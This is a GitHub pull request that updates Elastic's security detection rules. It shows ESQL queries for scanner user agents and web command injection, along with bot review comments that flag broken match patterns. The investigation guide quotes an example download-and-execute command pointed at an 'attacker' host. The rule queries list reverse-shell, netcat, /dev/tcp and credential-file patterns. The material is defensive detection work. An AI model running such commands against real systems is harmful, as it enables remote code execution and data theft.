[Security Rules] Update security rules package to v9.4.1-beta.1#17866
Closed
tradebot-elastic wants to merge 2 commits intomainfrom
Closed
[Security Rules] Update security rules package to v9.4.1-beta.1#17866tradebot-elastic wants to merge 2 commits intomainfrom
tradebot-elastic wants to merge 2 commits intomainfrom
Conversation
![macroscopeapp[bot]](https://avatars.githubusercontent.com/in/900172?s=60&v=4){kind=small}
| "license": "Elastic License v2", | ||
| "name": "Web Server Suspicious User Agent Requests", | ||
| "note": " ## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Web Server Suspicious User Agent Requests\n\nThis rule flags surges of web requests that advertise scanner or brute-force tool user agents, signaling active reconnaissance against your web servers and applications. A common pattern is dirsearch or gobuster sweeping for hidden paths, firing hundreds of rapid GETs across diverse URLs from one host and probing admin panels, backup folders, and robots.txt.\n\n### Possible investigation steps\n\n- Verify whether the activity aligns with approved scanners or uptime checks by cross-referencing inventories, allowlists, change windows, and egress ranges; otherwise enrich the originating IP with ASN, geolocation, and threat reputation to gauge risk.\n- Sample representative requests to identify targeted paths and payloads (e.g., admin panels, .git/.env, backups, traversal, SQLi/XSS markers) and note any successful responses or downloads that indicate information exposure.\n- Analyze request rate, methods, and status-code distribution to separate noisy recon from successful discovery or brute-force patterns, highlighting any POST/PUT with nontrivial bodies.\n- Correlate the same client across hosts and security layers (application/auth logs, WAF/CDN, IDS) to determine whether it is scanning multiple services, triggering signatures, or attempting credential stuffing.\n- Assess user-agent authenticity and evasiveness by comparing HTTP header order/values and TLS fingerprints (JA3/JA4) to expected clients, and verify true client identity via forwarded-for headers if behind a proxy or CDN.\n\n### False positive analysis\n\n- Legitimate, scheduled vulnerability assessments by internal teams (e.g., Nessus, Nikto, or OpenVAS) can generate large volumes of requests with those user-agent strings across many paths.\n- Developer or QA testing using discovery/fuzzing or intercept-proxy tools (Dirsearch, Gobuster, Ffuf, Burp, or OWASP ZAP) may unintentionally target production hosts, producing a short-lived spike with diverse URLs.\n\n### Response and remediation\n\n- Immediately contain by blocking or rate-limiting the originating IPs at the WAF/CDN and edge firewall, and add temporary rules to drop or challenge requests that advertise tool user agents such as \"nikto\", \"sqlmap\", \"dirsearch\", \"wpscan\", \"gobuster\", or \"burp\".\n- If traffic is proxied (CDN/reverse proxy), identify the true client via forwarded headers and extend blocks at both layers, enabling bot management or JS challenges on swept paths like /admin, /.git, /.env, /backup, and common discovery endpoints.\n- Eradicate exposure by removing or restricting access to sensitive files and directories uncovered by the scans, rotating any credentials or API keys found, invalidating active sessions, and disabling public access to administrative panels until hardened.\n- Recover by verifying no unauthorized changes or data exfiltration occurred, tuning per-IP and per-path rate limits to prevent path-sweeps while preserving legitimate traffic, and reintroducing normal rules only after fixes are deployed and stability is confirmed.\n- Escalate to incident response if sensitive files are successfully downloaded (HTTP 200/206 on /.git, /.env, or backups), any login or account creation succeeds, multiple hosts or environments are targeted, or activity persists after blocking via UA spoofing or rapid IP rotation.\n- Harden long term by enforcing WAF signatures for known scanner UAs and path patterns, denying directory listing and direct access to /.git, /.env, /backup and similar artifacts, requiring MFA/VPN for /admin and management APIs, and deploying auto-ban controls like fail2ban or mod_security.\n", | ||
| "query": "from logs-nginx.access-*, logs-apache.access-*, logs-apache_tomcat.access-*, logs-iis.access-*, logs-traefik.access-*\n\n| eval Esql.user_agent_original_to_lower = to_lower(user_agent.original), Esql.url_original_to_lower = to_lower(url.original)\n\n| where\n Esql.user_agent_original_to_lower like \"mozilla/5.0 (windows nt 10.0; win64; x64) applewebkit/537.36 (khtml, like gecko) chrome/74.0.3729.169 safari/537.36\" or // Nikto\n Esql.user_agent_original_to_lower like \"nikto*\" or // Nikto\n Esql.user_agent_original_to_lower like \"mozilla/4.0 (compatible; msie 8.0; windows nt 5.1; trident/4.0)\" or // Nessus Vulnerability Scanner\n Esql.user_agent_original_to_lower like \"*nessus*\" or // Nessus Vulnerability Scanner\n Esql.user_agent_original_to_lower like \"sqlmap/*\" or // SQLMap\n Esql.user_agent_original_to_lower like \"wpscan*\" or // WPScan\n Esql.user_agent_original_to_lower like \"feroxbuster/*\" or // Feroxbuster\n Esql.user_agent_original_to_lower like \"masscan*\" or // Masscan & masscan-ng\n Esql.user_agent_original_to_lower like \"fuzz*\" or // Ffuf\n Esql.user_agent_original_to_lower like \"mozilla/5.0 (windows nt 10.0; win64; x64) applewebkit/537.36 (khtml, like gecko) chrome/user_agent.original like~ 87.0.4280.88 safari/537.36\" or // Dirsearch\n Esql.user_agent_original_to_lower like \"mozilla/4.0 (compatible; msie 6.0; windows nt 5.1)\" or // Dirb\n Esql.user_agent_original_to_lower like \"dirbuster*\" or // Dirbuster\n Esql.user_agent_original_to_lower like \"gobuster/*\" or // Gobuster\n Esql.user_agent_original_to_lower like \"*dirsearch*\" or // dirsearch\n Esql.user_agent_original_to_lower like \"*nmap*\" or // Nmap Scripting Engine\n Esql.user_agent_original_to_lower like \"*hydra*\" or // Hydra Brute Forcer\n Esql.user_agent_original_to_lower like \"*w3af*\" or // w3af Web Application Attack and Audit Framework\n Esql.user_agent_original_to_lower like \"*arachni*\" or // Arachni Web Application Security Scanner\n Esql.user_agent_original_to_lower like \"*skipfish*\" or // Skipfish Web Application Security Scanner\n Esql.user_agent_original_to_lower like \"*openvas*\" or // OpenVAS Vulnerability Scanner\n Esql.user_agent_original_to_lower like \"*acunetix*\" or // Acunetix Vulnerability Scanner\n Esql.user_agent_original_to_lower like \"*zap*\" or // OWASP ZAP\n Esql.user_agent_original_to_lower like \"*burp*\" // Burp Suite\n\n| keep\n @timestamp,\n event.dataset,\n user_agent.original,\n source.ip,\n agent.id,\n host.name,\n Esql.url_original_to_lower,\n Esql.user_agent_original_to_lower,\n data_stream.namespace\n| stats\n Esql.event_count = count(),\n Esql.url_original_count_distinct = count_distinct(Esql.url_original_to_lower),\n Esql.host_name_values = values(host.name),\n Esql.agent_id_values = values(agent.id),\n Esql.url_original_values = values(Esql.url_original_to_lower),\n Esql.user_agent_original_values = values(Esql.user_agent_original_to_lower),\n Esql.event_dataset_values = values(event.dataset),\n Esql.data_stream_namespace_values = values(data_stream.namespace)\n by source.ip, agent.id\n| where\n Esql.event_count > 50 and Esql.url_original_count_distinct > 10\n", |
There was a problem hiding this comment.
🟢 Low security_rule/a1b7ffa4-bf80-4bf1-86ad-c3f4dc718b35_3.json:13
The Dirsearch user-agent pattern on line 13 contains malformed ESQL syntax (user_agent.original like~ embedded in the string literal). The pattern "mozilla/5.0 ... chrome/user_agent.original like~ 87.0.4280.88 safari/537.36" will never match any real HTTP request, so the rule fails to detect Dirsearch scans despite explicitly naming the tool in the description and investigation guide.
- Esql.user_agent_original_to_lower like "mozilla/5.0 (windows nt 10.0; win64; x64) applewebkit/537.36 (khtml, like gecko) chrome/user_agent.original like~ 87.0.4280.88 safari/537.36" or // Dirsearch
+ Esql.user_agent_original_to_lower like "mozilla/5.0 (windows nt 10.0; win64; x64) applewebkit/537.36 (khtml, like gecko) chrome/87.0.4280.88 safari/537.36" or // Dirsearch🚀 Reply "fix it for me" or copy this AI Prompt for your agent:
In file packages/security_detection_engine/kibana/security_rule/a1b7ffa4-bf80-4bf1-86ad-c3f4dc718b35_3.json around line 13:
The Dirsearch user-agent pattern on line 13 contains malformed ESQL syntax (`user_agent.original like~` embedded in the string literal). The pattern `"mozilla/5.0 ... chrome/user_agent.original like~ 87.0.4280.88 safari/537.36"` will never match any real HTTP request, so the rule fails to detect Dirsearch scans despite explicitly naming the tool in the description and investigation guide.
| "license": "Elastic License v2", | ||
| "name": "Web Server Potential Command Injection Request", | ||
| "note": " ## Triage and analysis\n\n> **Disclaimer**:\n> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.\n\n### Investigating Web Server Potential Command Injection Request\n\nThis rule flags web requests whose URLs embed command-execution payloads\u2014interpreter flags, shell invocations, netcat reverse shells, /dev/tcp, base64, credential file paths, downloaders, and suspicious temp or cron paths. It matters because attackers use low-volume, successful (200) requests to trigger server-side command injection and gain persistence or control without obvious errors. Example: a crafted query executes bash -c 'wget http://attacker/rev.sh -O /tmp/r; chmod +x /tmp/r; /tmp/r' from the web app, yielding a 200 while dropping and running a payload.\n\n### Possible investigation steps\n\n- Pull the raw HTTP request or PCAP, repeatedly URL-decode and base64-decode parameters, and extract shell metacharacters, commands, IP:port pairs, file paths, and download URLs to infer execution intent.\n- Time-correlate the request with host telemetry for web-server-owned child processes, file writes in /tmp, /dev/shm, or web roots, cron modifications, and new outbound connections from the same host.\n- Pivot on the source IP and user-agent to find related requests across other hosts/endpoints, identify scan-to-exploit sequencing and success patterns, and enact blocking or rate limiting if malicious.\n- Map the targeted route to its backend handler and review code/config to see if user input reaches exec/system/os.popen, templating/deserialization, or shell invocations, then safely reproduce in staging to validate exploitability.\n- If the payload references external indicators, search DNS/proxy/firewall telemetry for matching egress, retrieve and analyze any downloaded artifacts, and hunt for the same indicators across the fleet.\n\n### False positive analysis\n\n- A documentation or code-rendering page that echoes command-like strings from query parameters (e.g., \"bash -c\", \"python -c\", \"curl\", \"/etc/passwd\") returns 200 while merely displaying text, so the URL contains payload keywords without any execution.\n- A low-volume developer or QA test to a sandbox route includes path or query values like \"/dev/tcp/\", \"nc 10.0.0.1 4444\", \"busybox\", or \"chmod +x\" to validate input handling, the server returns 200 and the rule triggers despite no server-side execution path consuming those parameters.\n\n### Response and remediation\n\n- Block the offending source IPs and User-Agents at the WAF/reverse proxy, add virtual patches to drop URLs containing 'bash -c', '/dev/tcp', 'base64 -d', 'curl' or 'nc', and remove the targeted route from the load balancer until verified safe.\n- Isolate the impacted host from the network (at minimum egress) if the web service spawns child processes like bash/sh/python -c, creates files in /tmp or /dev/shm, modifies /etc/cron.*, or opens outbound connections to an IP:port embedded in the request.\n- Acquire volatile memory and preserve access/error logs and any downloaded script before cleanup, then terminate malicious child processes owned by nginx/httpd/tomcat/w3wp, delete dropped artifacts (e.g., /tmp/*, /dev/shm/*, suspicious files in the webroot), and revert cron/systemd or SSH key changes.\n- Rotate credentials and tokens if /etc/passwd, /etc/shadow, or ~/.ssh paths were targeted, rebuild the host or container from a known-good image, patch the application and dependencies, and validate clean startup with outbound traffic restricted to approved destinations.\n- Immediately escalate to the incident commander and legal/privacy if remote command execution is confirmed (evidence: web-server-owned 'bash -c' or 'python -c' executed, curl/wget download-and-execute, or reverse shell to an external IP:port) or if sensitive data exposure is suspected.\n- Harden by enforcing strict input validation, disabling shell/exec functions in the runtime (e.g., PHP disable_functions and no shell-outs in templates), running under least privilege with noexec,nodev /tmp and a read-only webroot, restricting egress by policy, and deploying WAF rules and host sensors to detect these strings and cron/webshell creation.\n", | ||
| "query": "from logs-nginx.access-*, logs-apache.access-*, logs-apache_tomcat.access-*, logs-iis.access-*, logs-traefik.access-*\n| where\n // Limit to 200 response code to reduce noise\n http.response.status_code == 200\n\n| eval Esql.url_original_to_lower = to_lower(url.original)\n\n| eval Esql.contains_interpreter = case(Esql.url_original_to_lower like \"*python* -c*\" or Esql.url_original_to_lower like \"*perl* -e*\" or Esql.url_original_to_lower like \"*ruby* -e*\" or Esql.url_original_to_lower like \"*ruby* -rsocket*\" or Esql.url_original_to_lower like \"*lua* -e*\" or Esql.url_original_to_lower like \"*php* -r*\" or Esql.url_original_to_lower like \"*node* -e*\", 1, 0)\n| eval Esql.contains_shell = case(Esql.url_original_to_lower like \"*/bin/bash*\" or Esql.url_original_to_lower like \"*bash*-c*\" or Esql.url_original_to_lower like \"*/bin/sh*\" or Esql.url_original_to_lower rlike \"*sh.{1,2}-c*\", 1, 0)\n| eval Esql.contains_nc = case(Esql.url_original_to_lower like \"*netcat*\" or Esql.url_original_to_lower like \"*ncat*\" or Esql.url_original_to_lower rlike \"\"\".*nc.{1,2}[0-9]{1,3}(\\.[0-9]{1,3}){3}.{1,2}[0-9]{1,5}.*\"\"\" or Esql.url_original_to_lower like \"*nc.openbsd*\" or Esql.url_original_to_lower like \"*nc.traditional*\" or Esql.url_original_to_lower like \"*socat*\", 1, 0)\n| eval Esql.contains_devtcp = case(Esql.url_original_to_lower like \"*/dev/tcp/*\" or Esql.url_original_to_lower like \"*/dev/udp/*\", 1, 0)\n| eval Esql.contains_helpers = case((Esql.url_original_to_lower like \"*/bin/*\" or Esql.url_original_to_lower like \"*/usr/bin/*\") and (Esql.url_original_to_lower like \"*mkfifo*\" or Esql.url_original_to_lower like \"*nohup*\" or Esql.url_original_to_lower like \"*setsid*\" or Esql.url_original_to_lower like \"*busybox*\"), 1, 0)\n| eval Esql.contains_sus_cli = case(Esql.url_original_to_lower like \"*import*pty*spawn*\" or Esql.url_original_to_lower like \"*import*subprocess*call*\" or Esql.url_original_to_lower like \"*tcpsocket.new*\" or Esql.url_original_to_lower like \"*tcpsocket.open*\" or Esql.url_original_to_lower like \"*io.popen*\" or Esql.url_original_to_lower like \"*os.execute*\" or Esql.url_original_to_lower like \"*fsockopen*\", 1, 0)\n| eval Esql.contains_privileges = case(Esql.url_original_to_lower like \"*chmod*+x\", 1, 0)\n| eval Esql.contains_downloader = case(Esql.url_original_to_lower like \"*curl *\" or Esql.url_original_to_lower like \"*wget *\" , 1, 0)\n| eval Esql.contains_file_read_keywords = case(Esql.url_original_to_lower like \"*/etc/shadow*\" or Esql.url_original_to_lower like \"*/etc/passwd*\" or Esql.url_original_to_lower like \"*/root/.ssh/*\" or Esql.url_original_to_lower like \"*/home/*/.ssh/*\" or Esql.url_original_to_lower like \"*~/.ssh/*\" or Esql.url_original_to_lower like \"*/proc/self/environ*\", 1, 0)\n| eval Esql.contains_base64_cmd = case(Esql.url_original_to_lower like \"*base64*-d*\" or Esql.url_original_to_lower like \"*echo*|*base64*\", 1, 0)\n| eval Esql.contains_suspicious_path = case(Esql.url_original_to_lower like \"*/tmp/*\" or Esql.url_original_to_lower like \"*/var/tmp/*\" or Esql.url_original_to_lower like \"*/dev/shm/*\" or Esql.url_original_to_lower like \"*/root/*\" or Esql.url_original_to_lower like \"*/home/*/*\" or Esql.url_original_to_lower like \"*/var/www/*\" or Esql.url_original_to_lower like \"*/etc/cron.*/*\", 1, 0)\n\n| eval Esql.any_payload_keyword = case(\n Esql.contains_interpreter == 1 or Esql.contains_shell == 1 or Esql.contains_nc == 1 or Esql.contains_devtcp == 1 or\n Esql.contains_helpers == 1 or Esql.contains_sus_cli == 1 or Esql.contains_privileges == 1 or Esql.contains_downloader == 1 or\n Esql.contains_file_read_keywords == 1 or Esql.contains_base64_cmd == 1 or Esql.contains_suspicious_path == 1, 1, 0)\n\n| keep\n @timestamp,\n Esql.url_original_to_lower,\n Esql.any_payload_keyword,\n Esql.contains_interpreter,\n Esql.contains_shell,\n Esql.contains_nc,\n Esql.contains_devtcp,\n Esql.contains_helpers,\n Esql.contains_sus_cli,\n Esql.contains_privileges,\n Esql.contains_downloader,\n Esql.contains_file_read_keywords,\n Esql.contains_base64_cmd,\n Esql.contains_suspicious_path,\n source.ip,\n destination.ip,\n agent.id,\n http.request.method,\n http.response.status_code,\n user_agent.original,\n host.name,\n event.dataset,\n data_stream.namespace\n\n| stats\n Esql.event_count = count(),\n Esql.url_path_count_distinct = count_distinct(Esql.url_original_to_lower),\n\n // General fields\n\n Esql.host_name_values = values(host.name),\n Esql.agent_id_values = values(agent.id),\n Esql.url_path_values = values(Esql.url_original_to_lower),\n Esql.http.response.status_code_values = values(http.response.status_code),\n Esql.user_agent_original_values = values(user_agent.original),\n Esql.event_dataset_values = values(event.dataset),\n Esql.data_stream_namespace_values = values(data_stream.namespace),\n\n // Rule Specific fields\n Esql.any_payload_keyword_max = max(Esql.any_payload_keyword),\n Esql.contains_interpreter_values = values(Esql.contains_interpreter),\n Esql.contains_shell_values = values(Esql.contains_shell),\n Esql.contains_nc_values = values(Esql.contains_nc),\n Esql.contains_devtcp_values = values(Esql.contains_devtcp),\n Esql.contains_helpers_values = values(Esql.contains_helpers),\n Esql.contains_sus_cli_values = values(Esql.contains_sus_cli),\n Esql.contains_privileges_values = values(Esql.contains_privileges),\n Esql.contains_downloader_values = values(Esql.contains_downloader),\n Esql.contains_file_read_keywords_values = values(Esql.contains_file_read_keywords),\n Esql.contains_base64_cmd_values = values(Esql.contains_base64_cmd),\n Esql.contains_suspicious_path_values = values(Esql.contains_suspicious_path)\n\n by source.ip, agent.id\n\n| where\n // Filter for potential command injection attempts with low event counts to reduce false positives\n Esql.any_payload_keyword_max == 1 and Esql.event_count < 5\n", |
There was a problem hiding this comment.
🟢 Low security_rule/f3ac6734-7e52-4a0d-90b7-6847bf4308f2_3.json:13
The regex "*sh.{1,2}-c*" in Esql.contains_shell uses invalid ESQL rlike syntax. The leading * is a quantifier with nothing to quantify, so the expression never matches. This prevents detection of shell command injection via ksh -c, csh -c, zsh -c, etc.
🚀 Reply "fix it for me" or copy this AI Prompt for your agent:
In file packages/security_detection_engine/kibana/security_rule/f3ac6734-7e52-4a0d-90b7-6847bf4308f2_3.json around line 13:
The regex `"*sh.{1,2}-c*"` in `Esql.contains_shell` uses invalid ESQL `rlike` syntax. The leading `*` is a quantifier with nothing to quantify, so the expression never matches. This prevents detection of shell command injection via `ksh -c`, `csh -c`, `zsh -c`, etc.
💚 Build Succeeded
cc @dplumlee |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
3 participants
Add this suggestion to a batch that can be applied as a single commit.This suggestion is invalid because no changes were made to the code.Suggestions cannot be applied while the pull request is closed.Suggestions cannot be applied while viewing a subset of changes.Only one suggestion per line can be applied in a batch.Add this suggestion to a batch that can be applied as a single commit.Applying suggestions on deleted lines is not supported.You must change the existing code in this line in order to create a valid suggestion.Outdated suggestions cannot be applied.This suggestion has been applied or marked resolved.Suggestions cannot be applied from pending reviews.Suggestions cannot be applied on multi-line comments.Suggestions cannot be applied while the pull request is queued to merge.Suggestion cannot be applied right now. Please check back later.
What does this PR do?
Update the Security Rules package to version 9.4.1-beta.1.
Autogenerated from commit https://github.com/elastic/detection-rules/tree/5522a54752f758e0bf097cb5e5a063a486ff68bf
Checklist
I have verified that all data streams collect metrics or logs.changelog.ymlfile.manifest.ymlfile to point to the latest Elastic stack release (e.g.^7.13.0).Author's Checklist
How to test this PR locally
package-storageto build EPR from sourceRelated issues
None
Screenshots
None